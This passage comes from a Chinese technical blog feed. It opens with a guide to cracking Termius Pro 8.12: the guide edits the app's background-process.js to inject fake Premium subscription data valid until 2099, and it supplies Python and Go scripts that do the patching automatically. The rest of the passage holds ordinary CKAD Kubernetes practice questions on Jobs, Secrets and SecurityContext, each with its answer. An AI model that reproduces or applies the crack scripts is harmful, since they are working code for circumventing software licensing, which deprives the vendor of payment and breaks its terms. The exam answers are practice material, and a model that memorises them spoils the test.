title="修改app&#x2F;js&#x2F;background-process.js"></a>修改app&#x2F;js&#x2F;background-process.js</h3><p>搜索</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">await</span> <span class="variable language_">this</span>.<span class="property">api</span>.<span class="property">bulkAccount</span></span><br></pre></td></tr></table></figure><p>将下面的进行替换</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">const</span> e=<span class="keyword">await</span> <span class="variable language_">this</span>.<span class="property">api</span>.<span class="title function_">bulkAccount</span>();</span><br></pre></td></tr></table></figure><p>修改为</p><figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> e=<span class="keyword">await</span> <span class="variable language_">this</span>.<span class="property">api</span>.<span class="title function_">bulkAccount</span>();</span><br><span class="line">e.<span class="property">account</span>.<span class="property">pro_mode</span>=<span class="literal">true</span>;</span><br><span class="line">e.<span class="property">account</span>.<span class="property">need_to_update_subscription</span>=<span class="literal">false</span>;</span><br><span class="line">e.<span class="property">account</span>.<span class="property">current_period</span>=&#123;</span><br><span class="line">    <span class="string">&quot;from&quot;</span>: <span class="string">&quot;2022-01-01T00:00:00&quot;</span>,</span><br><span class="line">    <span class="string">&quot;until&quot;</span>: <span class="string">&quot;2099-01-01T00:00:00&quot;</span></span><br><span class="line">&#125;;</span><br><span class="line">e.<span class="property">account</span>.<span class="property">plan_type</span>=<span class="string">&quot;Premium&quot;</span>;</span><br><span class="line">e.<span class="property">account</span>.<span class="property">user_type</span>=<span class="string">&quot;Premium&quot;</span>;</span><br><span class="line">e.<span class="property">student</span>=<span class="literal">null</span>;</span><br><span class="line">e.<span class="property">trial</span>=<span class="literal">null</span>;</span><br><span class="line">e.<span class="property">account</span>.<span class="property">authorized_features</span>.<span class="property">show_trial_section</span>=<span class="literal">false</span>;</span><br><span class="line">e.<span class="property">account</span>.<span class="property">authorized_features</span>.<span class="property">show_subscription_section</span>=<span class="literal">true</span>;</span><br><span class="line">e.<span class="property">account</span>.<span class="property">authorized_features</span>.<span class="property">show_github_account_section</span>=<span class="literal">false</span>;</span><br><span class="line">e.<span class="property">account</span>.<span class="property">expired_screen_type</span>=<span class="literal">null</span>;</span><br><span class="line">e.<span class="property">personal_subscription</span>=&#123;</span><br><span class="line">    <span class="string">&quot;now&quot;</span>: <span class="keyword">new</span> <span class="title class_">Date</span>().<span class="title function_">toISOString</span>().<span class="title function_">slice</span>(<span class="number">0</span>, -<span class="number">5</span>),</span><br><span class="line">    <span class="string">&quot;status&quot;</span>: <span class="string">&quot;SUCCESS&quot;</span>,</span><br><span class="line">    <span class="string">&quot;platform&quot;</span>: <span class="string">&quot;stripe&quot;</span>,</span><br><span class="line">    <span class="string">&quot;current_period&quot;</span>: &#123;</span><br><span class="line">        <span class="string">&quot;from&quot;</span>: <span class="string">&quot;2022-01-01T00:00:00&quot;</span>,</span><br><span class="line">        <span class="string">&quot;until&quot;</span>: <span class="string">&quot;2099-01-01T00:00:00&quot;</span></span><br><span class="line">    &#125;,</span><br><span class="line">    <span class="string">&quot;revokable&quot;</span>: <span class="literal">true</span>,</span><br><span class="line">    <span class="string">&quot;refunded&quot;</span>: <span class="literal">false</span>,</span><br><span class="line">    <span class="string">&quot;cancelable&quot;</span>: <span class="literal">true</span>,</span><br><span class="line">    <span class="string">&quot;reactivatable&quot;</span>: <span class="literal">false</span>,</span><br><span class="line">    <span class="string">&quot;currency&quot;</span>: <span class="string">&quot;usd&quot;</span>,</span><br><span class="line">    <span class="string">&quot;created_at&quot;</span>: <span class="string">&quot;2022-01-01T00:00:00&quot;</span>,</span><br><span class="line">    <span class="string">&quot;updated_at&quot;</span>: <span class="keyword">new</span> <span class="title class_">Date</span>().<span class="title function_">toISOString</span>().<span class="title function_">slice</span>(<span class="number">0</span>, -<span class="number">5</span>),</span><br><span class="line">    <span class="string">&quot;valid_until&quot;</span>: <span class="string">&quot;2099-01-01T00:00:00&quot;</span>,</span><br><span class="line">    <span class="string">&quot;auto_renew&quot;</span>: <span class="literal">true</span>,</span><br><span class="line">    <span class="string">&quot;price&quot;</span>: <span class="number">12.0</span>,</span><br><span class="line">    <span class="string">&quot;verbose_plan_name&quot;</span>: <span class="string">&quot;Termius Pro Monthly&quot;</span>,</span><br><span class="line">    <span class="string">&quot;plan_type&quot;</span>: <span class="string">&quot;SINGLE&quot;</span>,</span><br><span class="line">    <span class="string">&quot;is_expired&quot;</span>: <span class="literal">false</span></span><br><span class="line">&#125;;</span><br><span class="line">e.<span class="property">access_objects</span>=[&#123;</span><br><span class="line">    <span class="string">&quot;period&quot;</span>: &#123;</span><br><span class="line">        <span class="string">&quot;start&quot;</span>: <span class="string">&quot;2022-01-01T00:00:00&quot;</span>,</span><br><span class="line">        <span class="string">&quot;end&quot;</span>: <span class="string">&quot;2099-01-01T00:00:00&quot;</span></span><br><span class="line">    &#125;,</span><br><span class="line">    <span class="string">&quot;title&quot;</span>: <span class="string">&quot;Pro&quot;</span></span><br><span class="line">&#125;];</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/eaca418cf1ce7c69b1ef7a8f5c8e277c8bbd55a84da306ebce3c264341dc9f44.jpg" alt="Termius-pro-crack-lt-8.12-0"></p><p>保存文件，重新打开Termius 即可， pro功能即可使用，</p><p>破解脚本</p><h4 id="Python版本"><a href="#Python版本" class="headerlink" title="Python版本"></a>Python版本</h4><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> re</span><br><span class="line"></span><br><span class="line"><span class="comment"># 要替换的原文本（可能需要调整正则表达式以精确匹配）</span></span><br><span class="line">pattern = re.<span class="built_in">compile</span>(<span class="string">r&#x27;const e=await this\.api\.bulkAccount\(\);&#x27;</span>, re.DOTALL)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 新的文本内容</span></span><br><span class="line">replacement = <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">var e=await this.api.bulkAccount();</span></span><br><span class="line"><span class="string">e.account.pro_mode=true;</span></span><br><span class="line"><span class="string">e.account.need_to_update_subscription=false;</span></span><br><span class="line"><span class="string">e.account.current_period=&#123;</span></span><br><span class="line"><span class="string">    &quot;from&quot;: &quot;2022-01-01T00:00:00&quot;,</span></span><br><span class="line"><span class="string">    &quot;until&quot;: &quot;2099-01-01T00:00:00&quot;</span></span><br><span class="line"><span class="string">&#125;;</span></span><br><span class="line"><span class="string">e.account.plan_type=&quot;Premium&quot;;</span></span><br><span class="line"><span class="string">e.account.user_type=&quot;Premium&quot;;</span></span><br><span class="line"><span class="string">e.student=null;</span></span><br><span class="line"><span class="string">e.trial=null;</span></span><br><span class="line"><span class="string">e.account.authorized_features.show_trial_section=false;</span></span><br><span class="line"><span class="string">e.account.authorized_features.show_subscription_section=true;</span></span><br><span class="line"><span class="string">e.account.authorized_features.show_github_account_section=false;</span></span><br><span class="line"><span class="string">e.account.expired_screen_type=null;</span></span><br><span class="line"><span class="string">e.personal_subscription=&#123;</span></span><br><span class="line"><span class="string">    &quot;now&quot;: new Date().toISOString().slice(0, -5),</span></span><br><span class="line"><span class="string">    &quot;status&quot;: &quot;SUCCESS&quot;,</span></span><br><span class="line"><span class="string">    &quot;platform&quot;: &quot;stripe&quot;,</span></span><br><span class="line"><span class="string">    &quot;current_period&quot;: &#123;</span></span><br><span class="line"><span class="string">        &quot;from&quot;: &quot;2022-01-01T00:00:00&quot;,</span></span><br><span class="line"><span class="string">        &quot;until&quot;: &quot;2099-01-01T00:00:00&quot;</span></span><br><span class="line"><span class="string">    &#125;,</span></span><br><span class="line"><span class="string">    &quot;revokable&quot;: true,</span></span><br><span class="line"><span class="string">    &quot;refunded&quot;: false,</span></span><br><span class="line"><span class="string">    &quot;cancelable&quot;: true,</span></span><br><span class="line"><span class="string">    &quot;reactivatable&quot;: false,</span></span><br><span class="line"><span class="string">    &quot;currency&quot;: &quot;usd&quot;,</span></span><br><span class="line"><span class="string">    &quot;created_at&quot;: &quot;2022-01-01T00:00:00&quot;,</span></span><br><span class="line"><span class="string">    &quot;updated_at&quot;: new Date().toISOString().slice(0, -5),</span></span><br><span class="line"><span class="string">    &quot;valid_until&quot;: &quot;2099-01-01T00:00:00&quot;,</span></span><br><span class="line"><span class="string">    &quot;auto_renew&quot;: true,</span></span><br><span class="line"><span class="string">    &quot;price&quot;: 12.0,</span></span><br><span class="line"><span class="string">    &quot;verbose_plan_name&quot;: &quot;Termius Pro Monthly&quot;,</span></span><br><span class="line"><span class="string">    &quot;plan_type&quot;: &quot;SINGLE&quot;,</span></span><br><span class="line"><span class="string">    &quot;is_expired&quot;: false</span></span><br><span class="line"><span class="string">&#125;;</span></span><br><span class="line"><span class="string">e.access_objects=[&#123;</span></span><br><span class="line"><span class="string">    &quot;period&quot;: &#123;</span></span><br><span class="line"><span class="string">        &quot;start&quot;: &quot;2022-01-01T00:00:00&quot;,</span></span><br><span class="line"><span class="string">        &quot;end&quot;: &quot;2099-01-01T00:00:00&quot;</span></span><br><span class="line"><span class="string">    &#125;,</span></span><br><span class="line"><span class="string">    &quot;title&quot;: &quot;Pro&quot;</span></span><br><span class="line"><span class="string">&#125;];</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 文件路径</span></span><br><span class="line">file_path = <span class="string">&#x27;/opt/Termius/resources/app/js/background-process.js&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 读取文件</span></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(file_path, <span class="string">&#x27;r&#x27;</span>, encoding=<span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">as</span> file:</span><br><span class="line">    content = file.read()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 替换文本</span></span><br><span class="line">new_content = re.sub(pattern, replacement, content)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 写回文件</span></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(file_path, <span class="string">&#x27;w&#x27;</span>, encoding=<span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">as</span> file:</span><br><span class="line">    file.write(new_content)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;替换完成。&quot;</span>)</span><br></pre></td></tr></table></figure><h3 id="GO版本"><a href="#GO版本" class="headerlink" title="GO版本"></a>GO版本</h3><p>src.js</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">const</span> <span class="string">e=await</span> <span class="string">this.api.bulkAccount();</span></span><br></pre></td></tr></table></figure><p>dst.js</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">var</span> <span class="string">e=await</span> <span class="string">this.api.bulkAccount();</span></span><br><span class="line"><span class="string">e.account.pro_mode=true;</span></span><br><span class="line"><span class="string">e.account.need_to_update_subscription=false;</span></span><br><span class="line"><span class="string">e.account.current_period=&#123;</span></span><br><span class="line">    <span class="attr">&quot;from&quot;:</span> <span class="string">&quot;2022-01-01T00:00:00&quot;</span><span class="string">,</span></span><br><span class="line">    <span class="attr">&quot;until&quot;:</span> <span class="string">&quot;2099-01-01T00:00:00&quot;</span></span><br><span class="line"><span class="string">&#125;;</span></span><br><span class="line"><span class="string">e.account.plan_type=&quot;Premium&quot;;</span></span><br><span class="line"><span class="string">e.account.user_type=&quot;Premium&quot;;</span></span><br><span class="line"><span class="string">e.student=null;</span></span><br><span class="line"><span class="string">e.trial=null;</span></span><br><span class="line"><span class="string">e.account.authorized_features.show_trial_section=false;</span></span><br><span class="line"><span class="string">e.account.authorized_features.show_subscription_section=true;</span></span><br><span class="line"><span class="string">e.account.authorized_features.show_github_account_section=false;</span></span><br><span class="line"><span class="string">e.account.expired_screen_type=null;</span></span><br><span class="line"><span class="string">e.personal_subscription=&#123;</span></span><br><span class="line">    <span class="attr">&quot;now&quot;:</span> <span class="string">new</span> <span class="string">Date().toISOString().slice(0,</span> <span class="number">-5</span><span class="string">),</span></span><br><span class="line">    <span class="attr">&quot;status&quot;:</span> <span class="string">&quot;SUCCESS&quot;</span><span class="string">,</span></span><br><span class="line">    <span class="attr">&quot;platform&quot;:</span> <span class="string">&quot;stripe&quot;</span><span class="string">,</span></span><br><span class="line">    <span class="attr">&quot;current_period&quot;:</span> &#123;</span><br><span class="line">        <span class="attr">&quot;from&quot;:</span> <span class="string">&quot;2022-01-01T00:00:00&quot;</span>,</span><br><span class="line">        <span class="attr">&quot;until&quot;:</span> <span class="string">&quot;2099-01-01T00:00:00&quot;</span></span><br><span class="line">    &#125;<span class="string">,</span></span><br><span class="line">    <span class="attr">&quot;revokable&quot;:</span> <span class="literal">true</span><span class="string">,</span></span><br><span class="line">    <span class="attr">&quot;refunded&quot;:</span> <span class="literal">false</span><span class="string">,</span></span><br><span class="line">    <span class="attr">&quot;cancelable&quot;:</span> <span class="literal">true</span><span class="string">,</span></span><br><span class="line">    <span class="attr">&quot;reactivatable&quot;:</span> <span class="literal">false</span><span class="string">,</span></span><br><span class="line">    <span class="attr">&quot;currency&quot;:</span> <span class="string">&quot;usd&quot;</span><span class="string">,</span></span><br><span class="line">    <span class="attr">&quot;created_at&quot;:</span> <span class="string">&quot;2022-01-01T00:00:00&quot;</span><span class="string">,</span></span><br><span class="line">    <span class="attr">&quot;updated_at&quot;:</span> <span class="string">new</span> <span class="string">Date().toISOString().slice(0,</span> <span class="number">-5</span><span class="string">),</span></span><br><span class="line">    <span class="attr">&quot;valid_until&quot;:</span> <span class="string">&quot;2099-01-01T00:00:00&quot;</span><span class="string">,</span></span><br><span class="line">    <span class="attr">&quot;auto_renew&quot;:</span> <span class="literal">true</span><span class="string">,</span></span><br><span class="line">    <span class="attr">&quot;price&quot;:</span> <span class="number">12.0</span><span class="string">,</span></span><br><span class="line">    <span class="attr">&quot;verbose_plan_name&quot;:</span> <span class="string">&quot;Termius Pro Monthly&quot;</span><span class="string">,</span></span><br><span class="line">    <span class="attr">&quot;plan_type&quot;:</span> <span class="string">&quot;SINGLE&quot;</span><span class="string">,</span></span><br><span class="line">    <span class="attr">&quot;is_expired&quot;:</span> <span class="literal">false</span></span><br><span class="line"><span class="string">&#125;;</span></span><br><span class="line"><span class="string">e.access_objects=[&#123;</span></span><br><span class="line">    <span class="attr">&quot;period&quot;:</span> &#123;</span><br><span class="line">        <span class="attr">&quot;start&quot;:</span> <span class="string">&quot;2022-01-01T00:00:00&quot;</span>,</span><br><span class="line">        <span class="attr">&quot;end&quot;:</span> <span class="string">&quot;2099-01-01T00:00:00&quot;</span></span><br><span class="line">    &#125;<span class="string">,</span></span><br><span class="line">    <span class="attr">&quot;title&quot;:</span> <span class="string">&quot;Pro&quot;</span></span><br><span class="line"><span class="string">&#125;];</span></span><br></pre></td></tr></table></figure><p>crack.go</p><figure class="highlight go"><table><tr><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line">    <span class="string">&quot;fmt&quot;</span></span><br><span class="line">    <span class="string">&quot;log&quot;</span></span><br><span class="line">    <span class="string">&quot;os&quot;</span></span><br><span class="line">    <span class="string">&quot;regexp&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">    <span class="comment">// 读取要替换的文本和替换文本</span></span><br><span class="line">    originalText, err := os.ReadFile(<span class="string">&quot;src.js&quot;</span>)</span><br><span class="line">    <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">        log.Fatalf(<span class="string">&quot;failed reading file: %s&quot;</span>, err)</span><br><span class="line">    &#125;</span><br><span class="line">    replacementText, err := os.ReadFile(<span class="string">&quot;dst.js&quot;</span>)</span><br><span class="line">    <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">        log.Fatalf(<span class="string">&quot;failed reading file: %s&quot;</span>, err)</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 读取目标文件</span></span><br><span class="line">    targetFileContent, err := os.ReadFile(<span class="string">&quot;/opt/Termius/resources/app/js/background-process.js&quot;</span>)</span><br><span class="line">    <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">        log.Fatalf(<span class="string">&quot;failed reading file: %s&quot;</span>, err)</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 使用regexp进行替换</span></span><br><span class="line">    <span class="comment">// 注意：这里的正则表达式需要根据实际文本进行调整</span></span><br><span class="line">    re := regexp.MustCompile(<span class="string">`(?s)`</span> + regexp.QuoteMeta(<span class="type">string</span>(originalText)))</span><br><span class="line">    replacedContent := re.ReplaceAll(targetFileContent, replacementText)</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 将替换后的内容写回文件</span></span><br><span class="line">    <span class="keyword">if</span> err := os.WriteFile(<span class="string">&quot;/opt/Termius/resources/app/js/background-process.js&quot;</span>, replacedContent, <span class="number">0666</span>); err != <span class="literal">nil</span> &#123;</span><br><span class="line">        log.Fatalf(<span class="string">&quot;failed writing to file: %s&quot;</span>, err)</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    fmt.Println(<span class="string">&quot;替换完成。&quot;</span>)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> tools </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Termius pro </tag>
            
            <tag> 8.12 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKAD 模拟题库 |  28. Jobs</title>
      <link href="/archives/kubernetes/CKAD/Jobs.html"/>
      <url>/archives/kubernetes/CKAD/Jobs.html</url>
      
        <content type="html"><![CDATA[<h2 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h2><p>设置配置环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[candidate@node-1] $ kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h2 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h2><ol><li>用执行命令 <code>date; echo Hello from the Kubernetes cluster</code> 的镜像 busybox ，创建一个名为 <code>busybox-job</code> 的 Job 。</li><li>修改此 Job ，确保在执行时间超过 <code>3000</code> 秒后，kubernetes 会自动终止该 Job。</li><li>如果容器失败，则尝试重启容器，但最多尝试重启 <code>5</code> 次。</li><li>检查此Job的日志</li></ol><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://kubernetes.io/zh-cn/docs/concepts/workloads/controllers/job/#job-termination-and-cleanup">https://kubernetes.io/zh-cn/docs/concepts/workloads/controllers/job/#job-termination-and-cleanup</a></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl explain job.spec</span><br></pre></td></tr></table></figure><h2 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h2><p>切换环境</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s</span><br></pre></td></tr></table></figure><p>创建job模板</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl create job  busybox-job --image busybox --dry-run=client -oyaml &gt; 28.yaml</span><br></pre></td></tr></table></figure><p>编辑</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">batch/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Job</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">busybox-job</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">backoffLimit:</span> <span class="number">5</span>  <span class="comment">#失败次数限制</span></span><br><span class="line">  <span class="attr">activeDeadlineSeconds:</span> <span class="number">3000</span> <span class="comment">#存活时间s</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">image:</span> <span class="string">busybox</span> <span class="comment">#镜像</span></span><br><span class="line">        <span class="attr">name:</span> <span class="string">busybox-job</span></span><br><span class="line">        <span class="attr">command:</span> <span class="comment"># 命令模板</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">/bin/sh</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">-c</span></span><br><span class="line">        <span class="bullet">-</span> <span class="string">date;</span> <span class="string">echo</span> <span class="string">Hello</span> <span class="string">from</span> <span class="string">the</span> <span class="string">Kubernetes</span> <span class="string">cluster</span> <span class="comment">#执行的命令</span></span><br><span class="line">      <span class="attr">restartPolicy:</span> <span class="string">OnFailure</span> <span class="comment">#题目要求的重启策略</span></span><br></pre></td></tr></table></figure><p>应用</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f 28.yaml</span><br></pre></td></tr></table></figure><p>检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl get <span class="built_in">jobs</span> busybox-job</span><br><span class="line">kubectl get pod</span><br><span class="line">kubectl logs busybox-job-rljjz</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/6055b6296f2abb600ba420fe5a64746ae0798313f977619a607bef070ff356a8.jpg" alt="Jobs-0">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKAD </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKAD </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKAD 模拟题库 | 27. Secret 秘钥</title>
      <link href="/archives/kubernetes/CKAD/Secret-2.html"/>
      <url>/archives/kubernetes/CKAD/Secret-2.html</url>
      
        <content type="html"><![CDATA[<h2 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h2><p>设置配置环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[candidate@node-1] $ kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h2 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h2><p>在 <code>test</code> 命名空间，创建一个名为 <code>mysecret</code> 的密钥，其值 <code>username</code> 为 <code>devuser</code> 和 <code>password为A!B*d$zDsb=</code> 在 <code>test</code> 命名空间，创建一个 pod，镜像使用 <code>nginx:1.16</code> ，名字为 <code>mypod</code> ，将秘密 <code>mysecret</code> 挂载到路径 <code>/etc/foo</code> 上的卷中</p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://kubernetes.io/zh-cn/docs/tasks/configmap-secret/managing-secret-using-kubectl/">https://kubernetes.io/zh-cn/docs/tasks/configmap-secret/managing-secret-using-kubectl/</a><br><a href="https://kubernetes.io/zh-cn/docs/concepts/configuration/secret/#using-secrets-as-files-from-a-pod">https://kubernetes.io/zh-cn/docs/concepts/configuration/secret/#using-secrets-as-files-from-a-pod</a></p><h2 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h2><p>切换环境</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s</span><br></pre></td></tr></table></figure><p>创建secret</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> -n <span class="string">&#x27;devuser&#x27;</span> &gt; ./username.txt</span><br><span class="line"><span class="built_in">echo</span> -n <span class="string">&#x27;A!B\*d$zDsb=&#x27;</span> &gt; ./password.txt</span><br><span class="line">kubectl create secret generic mysecret \</span><br><span class="line">    --from-file=./username.txt \</span><br><span class="line">    --from-file=./password.txt</span><br></pre></td></tr></table></figure><p>或者</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n <span class="built_in">test</span> create secret generic mysecret \</span><br><span class="line">    --from-literal=username=devuser \</span><br><span class="line">    --from-literal=password=<span class="string">&#x27;A!B\*d$zDsb=&#x27;</span></span><br></pre></td></tr></table></figure><p>创建pod,并挂载secret</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">mypod</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">test</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">volumes:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">mysecret-volume</span></span><br><span class="line">    <span class="attr">secret:</span></span><br><span class="line">      <span class="attr">secretName:</span> <span class="string">mysecret</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">mypod</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">nginx:1.16</span></span><br><span class="line">    <span class="attr">volumeMounts:</span></span><br><span class="line">    <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">mysecret-volume</span></span><br><span class="line">      <span class="attr">readOnly:</span> <span class="literal">true</span></span><br><span class="line">      <span class="attr">mountPath:</span> <span class="string">&quot;/etc/foo&quot;</span></span><br></pre></td></tr></table></figure><p>创建并检查</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f pod.yaml</span><br><span class="line">kubectl -n <span class="built_in">test</span> <span class="built_in">exec</span> -it pods/mypod -- <span class="built_in">ls</span> /etc/foo</span><br><span class="line">kubectl -n <span class="built_in">test</span> <span class="built_in">exec</span> -it pods/mypod -- <span class="built_in">cat</span> /etc/foo/username</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/5d66c715412f582e57f35a5665147588f264a5b02565f6a29f31ed7f0a386c49.jpg" alt="Secret-2-0">  </p>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKAD </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
            <tag> Killer.sh </tag>
            
            <tag> CKAD </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CKAD 模拟题库 | 26. SecurityContext 安全上下文</title>
      <link href="/archives/kubernetes/CKAD/securityContext-2.html"/>
      <url>/archives/kubernetes/CKAD/securityContext-2.html</url>
      
        <content type="html"><![CDATA[<h2 id="模拟题目"><a href="#模拟题目" class="headerlink" title="模拟题目"></a>模拟题目</h2><p>设置配置环境：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[candidate@node-1] $ kubectl config use-context k8s</span><br></pre></td></tr></table></figure><h2 id="Task"><a href="#Task" class="headerlink" title="Task"></a>Task</h2><p>在 <code>test</code> 命名空间，有一个名为 <code>secnginx</code> 的 pod，修改此 pod，为容器添加<code>CAP_NET_ADMIN</code> 和 <code>CAP_SYS_TIME</code> 权能</p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/security-context/#set-capabilities-for-a-container">https://kubernetes.io/zh-cn/docs/tasks/configure-pod-container/security-context/#set-capabilities-for-a-container</a></p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">security-context-demo-4</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">containers:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">sec-ctx-4</span></span><br><span class="line">    <span class="attr">image:</span> <span class="string">gcr.io/google-samples/node-hello:1.0</span></span><br><span class="line">    <span class="attr">securityContext:</span></span><br><span class="line">      <span class="attr">capabilities:</span></span><br><span class="line">        <span class="attr">add:</span> [<span class="string">&quot;NET_ADMIN&quot;</span>, <span class="string">&quot;SYS_TIME&quot;</span>]</span><br></pre></td></tr></table></figure><h2 id="解答"><a href="#解答" class="headerlink" title="解答"></a>解答</h2><p>切换环境</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl config use-context k8s</span><br></pre></td></tr></table></figure><p>通过模板修改现在运行pod的权限后重建</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl -n <span class="built_in">test</span> get pod secnginx -oyaml &gt; secnginx.yaml</span><br><span class="line"><span class="built_in">cp</span> secnginx.yaml secnginx.yaml-bak</span><br><span class="line">kubectl delete -f secnginx.yaml</span><br></pre></td></tr></table></figure><p>编辑yaml文件添加</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">vim secnginx.yaml</span><br></pre></td></tr></table></figure><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">securityContext:</span></span><br><span class="line">  <span class="attr">capabilities:</span></span><br><span class="line">    <span class="attr">add:</span> [<span class="string">&quot;CAP_NET_ADMIN&quot;</span>,<span class="string">&quot;CAP_SYS_TIME&quot;</span>]</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/db69f313999fe622cf7b36eddee22d3b195bb04aa15da4919c92335c03343bd2.jpg" alt="securityContext-2-0">  </p><p>创建pod</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">kubectl apply -f secnginx.yaml</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> kubernetes </category>
          
          <category> CKAD </category>
          
      </categories>
      
      
        <tags>
            
            <tag> K8s </tag>
            
